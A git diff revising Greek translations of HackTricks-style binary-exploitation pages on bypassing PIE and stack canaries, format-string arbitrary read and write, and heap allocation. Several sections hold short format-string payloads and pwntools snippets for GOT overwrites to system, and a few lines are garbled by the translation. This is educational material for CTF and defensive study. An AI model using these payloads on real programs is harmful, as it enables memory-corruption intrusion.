a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -4,7 +4,7 @@ ## Basic Information -Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές διευθύνσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις. +Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές τοποθεσίες μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις. Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές αποστάσεις** τους. @@ -13,17 +13,18 @@ ## Bypasses -Για να παρακάμψετε το PIE χρειάζεται να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό: +Για να παρακάμψετε το PIE είναι απαραίτητο να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό: - **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο, ένα δυαδικό αρχείο που έχει μεταγλωττιστεί με PIE θα **φορτωθεί πάντα στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στο ίδιο μέρος. - Να **δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP και EIP τιμές** στη στοίβα μέχρι να διαρρεύσετε τις σωστές: +- **Brute-force τιμές EBP και EIP** στη στοίβα μέχρι να διαρρεύσετε τις σωστές: + {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**format string**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**μορφοποίηση συμβολοσειράς**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5afdd8871..be58bbfd8 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -10,13 +10,13 @@ ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -Αυτή η μηχανισμός τοποθετεί ένα **canary** πριν από το **EBP**, και αναδιοργανώνει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την επικάλυψη άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα επιχειρήματα που περνούν στο stack πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτά τα αντίγραφα ως επιχειρήματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers εντός της δομής ενός χρήστη. +Αυτή η μηχανισμός τοποθετεί ένα **canary** πριν από το **EBP**, και αναδιοργανώνει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την επικάλυψη άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα επιχειρήματα που περνούν στο stack πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτά τα αντίγραφα ως επιχειρήματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερους από 8 στοιχείων ή buffers εντός της δομής ενός χρήστη. Το **canary** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή `0xff0a0000`. Αποθηκεύεται στο **TLS (Thread Local Storage)**, επιτρέποντας στους κοινόχρηστους χώρους μνήμης μεταξύ νημάτων να έχουν παγκόσμιες ή στατικές μεταβλητές συγκεκριμένες για το νήμα. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη γονική διαδικασία, και οι παιδικές διαδικασίες μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάσουν τη γονική ή τις αδελφές διαδικασίες. Παρ' όλα αυτά, αν χρησιμοποιηθεί **`fork()` χωρίς να δημιουργηθεί ένα νέο canary, όλες οι διαδικασίες (γονικές και παιδικές) μοιράζονται το ίδιο canary**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το canary αποθηκεύεται στο `gs:0x14`, και στην **x86_64**, στο `fs:0x28`. Αυτή η τοπική προστασία εντοπίζει συναρτήσεις με buffers ευάλωτα σε επιθέσεις και εισάγει κώδικα στην αρχή αυτών των συναρτήσεων για να τοποθετήσει το canary, και στο τέλος για να επαληθεύσει την ακεραιότητά του. -Όταν ένας web server χρησιμοποιεί `fork()`, επιτρέπει μια επίθεση brute-force για να μαντέψει το canary byte by byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` επαναγράφει τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στην παιδική διαδικασία να εκτελείται χωρίς αναπαραγωγή μέχρι να προσπαθήσει να γράψει, οπότε δημιουργείται μια αναπαραγωγή, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διαδικασιών και τη διαχείριση μνήμης. +Όταν ένας web server χρησιμοποιεί `fork()`, επιτρέπει μια επίθεση brute-force για να μαντέψει το canary byte by byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` επαναγράφει το χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στην παιδική διαδικασία να εκτελείται χωρίς αναπαραγωγή μέχρι να προσπαθήσει να γράψει, οπότε δημιουργείται μια αναπαραγωγή, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διαδικασιών και τη διαχείριση μνήμης. ### Μήκη @@ -29,16 +29,18 @@ ## Παράκαμψη -**Διαρροή του canary** και στη συνέχεια επικάλυψη του (π.χ. buffer overflow) με την δική του τιμή. +**Διαρροή του canary** και στη συνέχεια επικάλυψη του με την τιμή του. - Αν το **canary είναι forked σε παιδικές διαδικασίες** μπορεί να είναι δυνατό να **brute-force** αυτό byte by byte: + {{#ref}} bf-forked-stack-canaries.md {{#endref}} - Αν υπάρχει κάποια ενδιαφέρουσα **διαρροή ή ευπάθεια αυθαίρετης ανάγνωσης** στο binary μπορεί να είναι δυνατό να διαρρεύσει: + {{#ref}} print-stack-canary.md {{#endref}} @@ -47,6 +49,7 @@ print-stack-canary.md Το stack που είναι ευάλωτο σε υπερχείλιση stack μπορεί να **περιέχει διευθύνσεις σε συμβολοσειρές ή συναρτήσεις που μπορούν να επαναγραφούν** προκειμένου να εκμεταλλευτούν την ευπάθεια χωρίς να χρειαστεί να φτάσουν στο canary του stack. Ελέγξτε: + {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} @@ -55,11 +58,11 @@ print-stack-canary.md Μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary μπορεί να χρησιμοποιηθεί για **τροποποίηση του master canary του νήματος**. Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα). -Επιπλέον, μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για **τροποποίηση του master canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω ενός **bof στο stack** ενός νήματος.\ +Επιπλέον, μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για **τροποποίηση του master canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στο stack** ενός νήματος.\ Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\ Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης με `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά. +Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** **νημάτων** δημιουργείται επίσης με `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά. - **Τροποποίηση της εγγραφής GOT του `__stack_chk_fail`** diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index 5c77ced79..0de3d59a7 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,10 +1,10 @@ -# Εκτύπωση Stack Canary +# Print Stack Canary {{#include ../../../banners/hacktricks-training.md}} -## Μεγέθυνση εκτυπωμένου stack +## Enlarge printed stack -Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** σε stack overflow μπορεί να εκτελέσει μια **puts** λειτουργία **δείχνοντας** σε **μέρος** του **stack overflow**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα null byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **επικαλύπτει το stack μέχρι το πρώτο byte του canary**. +Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** σε stack overflow μπορεί να εκτελέσει μια **λειτουργία puts** **δείχνοντας** σε **μέρος** του **stack overflow**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα null byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **επικαλύπτει το stack μέχρι το πρώτο byte του canary**. Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργία puts** στη μέση του payload που θα **εκτυπώσει όλα τα canary** (εκτός από το πρώτο null byte). @@ -12,16 +12,16 @@ Προφανώς, αυτή η τακτική είναι πολύ **περιορισμένη** καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **payload** του για να **εξάγει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο payload (στην **ίδια συνεδρία προγράμματος**) και να **στείλει** την **πραγματική υπερχείλιση buffer**. -**Παραδείγματα CTF:** +**CTF παραδείγματα:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')` +- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')` - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) -- 32 bit, ARM, χωρίς relro, canary, nx, χωρίς pie. Υπερχείλιση με μια κλήση στο puts για να διαρρεύσει το canary + ret2lib καλώντας το `system` με μια ROP αλυσίδα για να pop r0 (arg `/bin/sh`) και pc (διεύθυνση του system) +- 32 bit, ARM, χωρίς relro, canary, nx, χωρίς pie. Υπερχείλιση με μια κλήση στο puts για να διαρρεύσει το canary + ret2lib καλώντας το `system` με μια αλυσίδα ROP για να pop r0 (arg `/bin/sh`) και pc (διεύθυνση του system) -## Αυθαίρετη Ανάγνωση +## Arbitrary Read -Με μια **αυθαίρετη ανάγνωση** όπως αυτή που παρέχεται από τις **μορφές** **strings** μπορεί να είναι δυνατό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κακή χρήση των μορφών strings για να διαβάσετε αυθαίρετες διευθύνσεις μνήμης σε: +Με μια **τυχαία ανάγνωση** όπως αυτή που παρέχεται από τις **μορφές** **strings** μπορεί να είναι δυνατό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κακή χρήση των μορφών strings για να διαβάσετε τυχαίες διευθύνσεις μνήμης σε: {{#ref}} ../../format-strings/ diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 0174dd817..a8b2fd830 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -9,7 +9,7 @@ Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**. -Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**. +Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γρα writable)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**. #### Formatters: ```bash @@ -69,11 +69,11 @@ printf("%4$x") Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα. > [!CAUTION] -> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά. +> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά. ## **Αυθαίρετη Ανάγνωση** -Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με: +Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με: ```python from pwn import * @@ -131,34 +131,35 @@ p.close() Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για: - **Dump** το **binary** από τη μνήμη -- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς πρόσβασης όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Αυθαίρετη Εγγραφή** -Ο μορφοποιητής **`%$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \ στο stack. Αν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`%$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση. +Ο μορφοποιητής **`%$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \ στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει τόσους χαρακτήρες όσους θέλει με το printf, θα είναι σε θέση να κάνει τον **`%$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση. -Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, έτσι ώστε να είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.%$n`** για να γράψει τον αριθμό **``** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**. +Ευτυχώς, για να γράψει τον αριθμό 9999, δεν είναι απαραίτητο να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.%$n`** για να γράψει τον αριθμό **``** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. +Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).** Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση: + {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία** **`system`**.\ -Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**. +Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**. -- **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης -- **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης +- **HOB** ονομάζεται για τα 2 υψηλότερα bytes της διεύθυνσης +- **LOB** ονομάζεται για τα 2 χαμηλότερα bytes της διεύθυνσης -Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο. +Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο. Αν HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -172,7 +173,8 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Pwntools Template -Μπορείτε να βρείτε ένα **template** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο: +Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο: + {{#ref}} format-strings-template.md @@ -207,10 +209,10 @@ p.interactive() - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξετε τη ροή εκτέλεσης) +- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσετε τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψετε μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψετε τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, η `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί. +- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 7318e65a2..c26692c2e 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -12,12 +12,12 @@ ### Basic Chunk Allocation -Όταν ζητείται η αποθήκευση κάποιων δεδομένων στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρούνται για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες chunk μεταδεδομένων για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk. +Όταν ζητείται η αποθήκευση κάποιων δεδομένων στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρούνται για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρείτε πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες chunk μεταδεδομένων για να γνωρίζετε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk. Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής: - Το πρόγραμμα ξεκινά ζητώντας μια συγκεκριμένη ποσότητα μνήμης. -- Αν στη λίστα των chunks υπάρχει κάποιος διαθέσιμος αρκετά μεγάλος για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί. +- Αν στη λίστα των chunks υπάρχει κάποιο διαθέσιμο αρκετά μεγάλο για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί. - Αυτό μπορεί ακόμη και να σημαίνει ότι μέρος του διαθέσιμου chunk θα χρησιμοποιηθεί για αυτό το αίτημα και το υπόλοιπο θα προστεθεί στη λίστα των chunks. - Αν δεν υπάρχει διαθέσιμο chunk στη λίστα αλλά υπάρχει ακόμη χώρος στη δεσμευμένη μνήμη του σωρού, ο διαχειριστής του σωρού δημιουργεί ένα νέο chunk. - Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να 